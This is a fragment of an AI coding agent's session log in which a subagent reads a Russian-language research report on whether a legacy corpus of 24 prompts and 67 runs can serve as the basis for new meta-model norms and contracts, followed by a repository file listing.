\u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\",\n[2026-09-29T07:45:36.464Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:36.464Z] [INFO]       }\n[2026-09-29T07:45:36.464Z] [INFO]     ]\n[2026-09-29T07:45:36.464Z] [INFO]   },\n[2026-09-29T07:45:36.464Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"uuid\": \"68816f84-1d0f-4be7-bff2-a743c6bf6d93\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:36.459Z\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:36.464Z] [INFO] }\n[2026-09-29T07:45:36.544Z] [INFO] {\n[2026-09-29T07:45:36.544Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:36.544Z] [INFO]   \"message\": {\n[2026-09-29T07:45:36.544Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"id\": \"msg_011CfXMmSwWSnrofxzTzF4kJ\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"content\": [\n[2026-09-29T07:45:36.544Z] [INFO]       {\n[2026-09-29T07:45:36.544Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:36.544Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:36.544Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:36.544Z] [INFO]     ],\n[2026-09-29T07:45:36.544Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:36.544Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_creation_input_tokens\": 4204,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_read_input_tokens\": 58134,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:36.544Z] [INFO]         \"ephemeral_5m_input_tokens\": 4204,\n[2026-09-29T07:45:36.544Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:36.544Z] [INFO]       },\n[2026-09-29T07:45:36.544Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:36.544Z] [INFO]       \"service_tier\": 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{\n[2026-09-29T07:45:37.867Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:37.867Z] [INFO]     \"content\": [\n[2026-09-29T07:45:37.867Z] [INFO]       {\n[2026-09-29T07:45:37.867Z] [INFO]         \"tool_use_id\": \"toolu_01Jua3mnU63KzPrYvv7GpavD\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"content\": \"---\\n\\n# \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0432\u0443\u044e \u043d\u043e\u0440\u043c\u0443: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-09\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR\\n> [#564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564) \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n> \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u043c:\\n> \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439\\n> \u043d\u043e\u0440\u043c\u044b \u0438 \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u043d\u0435\u0433\u043e \u0437\u0430\u0432\u0438\u0441\u044f\u0442. \u042d\u0442\u043e\u0442 \u043e\u0442\u0447\u0451\u0442 \u2014\\n> \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u2014 \u0432\\n> [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md).\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9` \u2014 \u0442\u043e\u0442 \u0436\u0435, \u0447\u0442\u043e \u0443\\n[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-meta-model-563/measure-legacy-normative-influence.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-legacy-normative-influence.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`legacy-normative-influence.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/legacy-normative-influence.json),\\n\u043b\u043e\u0433 \u2014\\n[`measure-legacy-normative-influence.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-legacy-normative-influence.log).\\n\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 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\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0430 | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n| \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 `DP-1`\u2026`DP-4` | ADR-013 | \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 **\u043f\u0440\u0435\u0434\u043c\u0435\u0442** \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0435\u0446 | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0438 |\\n\\n\u0411\u043b\u043e\u043a\u0430, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0431\u044b \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u0430\u0443\u0434\u0438\u0442 \u043d\u0435\\n\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u2014 **\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439**\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0435\u0451 `docs/` \u0438 `standards/`, \u0430 \u043d\u0435 \u0438\u0437 `prompts/` \u0438\\n`runs/`; \u043f\u0440\u0430\u0432\u0438\u043b\u043e `T-4` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u044f\u0432\u043d\u043e.\\n\\n## 4. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 **\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430**, \u0430 \u043d\u0435 \u0441\u043c\u044b\u0441\u043b\u0430: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u043e\u0433 \u0431\u044b\\n  \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u044f \u0435\u0451. \u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439** \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430.\\n- \u0428\u0438\u0440\u043e\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0437\u0430\u0432\u044b\u0448\u0430\u044e\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435: \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0435 \u0432\u044b\u0448\u0435\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e, \u0438 \u0432\u044b\u0432\u043e\u0434 \u00a71 \u043e\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442.\\n- \u0410\u0443\u0434\u0438\u0442 \u00a73 \u2014 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439, \u0430 \u043d\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439: \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0431\u043b\u043e\u043a\u0438 \u0438 \u0438\u0445\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438. \u0415\u0433\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0437\u0430\u043c\u0435\u043d\u0430 (\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u044f `derived_from` \u0432\\n  \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445) \u0437\u0430\u0432\u0435\u0434\u0435\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-153`.\\n- \u0427\u0438\u0441\u043b\u0430 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c `8cbf82a`. \u041d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:37.867Z] [INFO]       }\n[2026-09-29T07:45:37.867Z] [INFO]     ]\n[2026-09-29T07:45:37.867Z] [INFO]   },\n[2026-09-29T07:45:37.867Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"uuid\": \"f6a970ce-2dea-48cc-8ec4-5214f9e3bd41\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:37.860Z\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"task_description\": 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docs/rfc-hub-integration.md\\n  docs/rfc/2026-08-task-taxonomy.md\\n  docs/rfc/knowledge-transfer-to-hub/README.md\\n  docs/rfc/knowledge-transfer-to-hub/ba-ontology.md\\n  docs/rfc/knowledge-transfer-to-hub/bcreq-process.md\\n  docs/rfc/knowledge-transfer-to-hub/operations-taxonomy.md\\n  docs/rfc/knowledge-transfer-to-hub/pages-ux.md\\n  docs/rfc/prompt-improvement-bcreq-1025-proposal.md\\n  docs/rfc/prompt-improvement-multichannel-proposal.md\\n  docs/rfc/rfc-process.md\\n  docs/rfc/rfc-register.md\\n  docs/rfc/rfc-to-hub-001-knowledge-transfer.md\\n  docs/rfc/rfc-to-hub-002-prompt-debugging-process.md\\n  docs/screenshots/issue-335-password-gate.png\\n  docs/screenshots/issue-335-report-diagram.png\\n  docs/screenshots/issue-335-report-unlocked.png\\n  docs/screenshots/issue-335-reports-index.png\\n  docs/screenshots/issue-74-pages-desktop.png\\n  docs/screenshots/issue-74-pages-mobile.png\\n  docs/screenshots/issue-86-mango-widget-local.png\\n  docs/screenshots/issue-91-cascade.png\\n  docs/screenshots/issue-91-checks.png\\n  docs/screenshots/issue-91-full.png\\n  docs/screenshots/issue-91-mobile-filters.png\\n  docs/screenshots/issue-92-prompt-cards.png\\n  docs/screenshots/issue-97-process-tree-collapsed.png\\n  docs/screenshots/issue-97-process-tree-expanded.png\\n  docs/screenshots/issue-97-spa-processes-page.png\\n  docs/screenshots/issue-99-catalog-dark.png\\n  docs/screenshots/issue-99-catalog.png\\n  docs/screenshots/issue-99-dashboard.png\\n  docs/screenshots/issue-99-patterns.png\\n  docs/screenshots/issue-99-process-modal.png\\n  docs/superpowers/plans/2026-08-31-issue-339-followup.md\\n  docs/superpowers/plans/2026-08-31-issue-343-run-0063.md\\n  docs/task-for-konard-template.md\\n  docs/taxonomy.md\\n  kb/.gitkeep\\n  kb/README.md\\n  kb/STRUCTURE_REVIEW.md\\n  kb/USAGE.md\\n  kb/fragments/README.md\\n  kb/practices/source-backed-analysis.md\\n  kb/processed/README.md\\n  kb/sources/README.md\\n  kb/sources/Rolevaya-model-vats/.gitkeep\\n  kb/sources/Rolevaya-model-vats/meta.json\\n  kb/sources/contact-center-manual/source.md\\n  kb/sources/cov-robot-fil/meta.json\\n  kb/sources/integration-bitrix24/.gitkeep\\n  kb/sources/integration-bitrix24/meta.json\\n  kb/sources/integration-bpmsoft/.gitkeep\\n  kb/sources/integration-bpmsoft/meta.json\\n  kb/sources/integration_1c/.gitkeep\\n  kb/sources/integration_1c/meta.json\\n  kb/sources/integration_amocrm/.gitkeep\\n  kb/sources/integration_amocrm/meta.json\\n  kb/sources/lk-vats-sso/.gitkeep\\n  kb/sources/lk-vats-sso/meta.json\\n  kb/sources/mango-cc-manual/.gitkeep\\n  kb/sources/mango-cc-manual/meta.json\\n  kb/sources/mango-lk-manual/.gitkeep\\n  kb/sources/mango-lk-manual/meta.json\\n  kb/sources/mdialogi-api/.gitkeep\\n  kb/sources/mdialogi-api/meta.json\\n  kb/sources/mtalker/.gitkeep\\n  kb/sources/mtalker/meta.json\\n  kb/sources/quality-managment/.gitkeep\\n  kb/sources/quality-managment/meta.json\\n  kb/sources/sip-trunk/.gitkeep\\n  kb/sources/sip-trunk/meta.json\\n  kb/sources/speech-analytics/.gitkeep\\n  kb/sources/speech-analytics/meta.json\\n  kb/sources/vpbx-api/.gitkeep\\n  kb/sources/vpbx-api/meta.json\\n  kb/sources/wallboard/.gitkeep\\n  kb/sources/wallboard/meta.json\\n  kb/sources/web-links/README.md\\n  patterns/README.md\\n  patterns/asr-ingestion/README.md\\n  patterns/asr-ingestion/examples/basic-example.md\\n  patterns/fr-generation/README.md\\n  